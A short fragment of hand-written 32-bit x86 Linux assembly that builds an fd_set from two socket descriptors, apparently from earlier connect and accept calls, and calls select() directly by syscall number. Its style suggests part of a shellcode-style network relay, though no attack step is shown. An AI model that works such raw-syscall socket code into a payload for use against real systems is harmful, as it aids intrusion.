mov %esp, %ebp
// allocate space for fd_set -- this was taken from a disassemble of fd_set fd;
sub $0x90, %esp
// move socket descriptor into eax from previous connect call
mov %edi, %eax
// assign the socket descriptor (FD_SET(eax, &fd))
bts %eax, 0xffffff7c(%ebp)
// move server socket descriptor into eax from previous accept call
mov %esi, %eax
// assign the socket descriptor (FD_SET(eax, &fd))
bts %eax, 0xffffff7c(%ebp)
// store &fds into eax
lea 0xffffff7c(%ebp), %ecx
// argv[1] - number of fds+1
mov $0x3, %ebx
// argv[2] - argv[4]
xor %edx, %edx
xor %esi, %esi
xor %edi, %edi
// index into syscall table for select() (not old_select)
movb $142, %al
int $0x80